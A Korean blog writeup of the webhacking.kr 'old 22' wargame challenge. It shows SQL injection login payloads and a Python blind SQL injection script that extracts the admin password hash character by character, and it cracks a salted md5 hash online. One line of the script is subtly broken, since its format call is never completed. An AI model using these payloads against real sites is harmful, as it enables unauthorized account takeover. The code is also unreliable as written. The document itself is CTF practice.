webhacking.kr old 22번 문제풀이(Writeup)
문제를 들어가면 위와 같이 출력된다. 딱 봐도 흥미가 생기는 문제이다. admin으로 로그인하는 게 미션이다. Column Name을 가르쳐준 걸 보면 SQL Injection을 이용해야 할 것으로 보인다.
먼저 guest 계정이 있는지 확인했다. 계정이 없어서 "Login Fail!"이 나왔다. 그래서 join으로 가입하고 확인해보기로 했다.
guest, guest로 가입하고 나니 Done이 출력되고, index.php?mode=join에서 가입이 되었음을 알았다. 로그인해보자.
로그인이 성공되었을 때 위와 같이 나온다. 패스워드를 해쉬해서 출력해주는 걸 보니 어떤 걸로 암호화했는지 궁금해진다. 그래서 온라인 복호화 사이트에서 어떤 걸로 했고, 복호화 결과를 확인해봤다.
md5으로 복호화를 해보니 guest였던 패스워드에 apple이 붙은게 보인다. pw+"apple"로 md5를 이용해 암호화를 하는
것으로 보인다.
이제 Blind SQL Injection을 시도했다. 기본적인 쿼리라고 생각했을 때, select __ from ___ where id='input_1' and pw='input_2'이라고 할 때
select __ from ___ where id='admin' or '1'='1#' and pw='input_2' 으로 Injection을 하면 뒷부분이 생략될 거라 생각하고 넣었더니 "Wrong password!"만 출력되었다. 옳은 쿼리인가 보다. 이제 스크립트를 작성해보자.
from operator import truediv
import requests
URL="https://webhacking.kr/challenge/bonus-2/index.php"
cookie={'PHPSESSDID':'ud0jd8ops6agkfbm0fr8tcn0s9'}
trueStr="Wrong password!"
#Get_Password_length
pw_len =""
for i in range(1,100):
data = {"uuid":"admin' and length(pw)={}#".format(i), "pw":"a"}
r = requests.post(URL, cookies=cookie, data=data)
#print(i)
if r.text.find(trueStr) != -1:
pw_len = i
break
print("pw_length = ", pw_len)
# Find_Password_String
pw = ''
for i in range (1,pw_len+1):
for j in range(33,133):
data = {"uuid":"admin' and ascii(substr(pw,{},1))={}#".format}
r = requests.post(URL, cookies=cookie, data=data)
if r.text.find(trueStr) != -1:
pw += chr(j)
break
print("password : " + pw )
스크립트는 위와 같다. 먼저 길이를 구하고 문자열을 구한다.
스크립트를 돌려서 구한 admin의 password Hash는 위와 같다. 이걸 다시 복호화했다.
패스워드를 찾았다. 성공메시지가 출력되었다.
늘 스크립트를 짤 때마다 어려운 것 같다. 더 적응하기 위해 노력해야겠다.
'웹해킹 > webhacking.kr' 카테고리의 다른 글
webhacking.kr old 07번 문제풀이(Writeup) (0) | 2022.10.10 |
---|---|
webhacking.kr old 05번 문제풀이(Writeup). 디렉터리 리스팅 취약점 설명 및 응용 (0) | 2022.10.09 |
webhacking.kr old 04번 문제풀이(Writeup) (1) | 2022.10.07 |
webhacking.kr old 21번 문제풀이(Writeup) Blind Sql Injection (0) | 2022.10.06 |
webhacking.kr old 23번 문제풀이(Writeup) (0) | 2022.10.05 |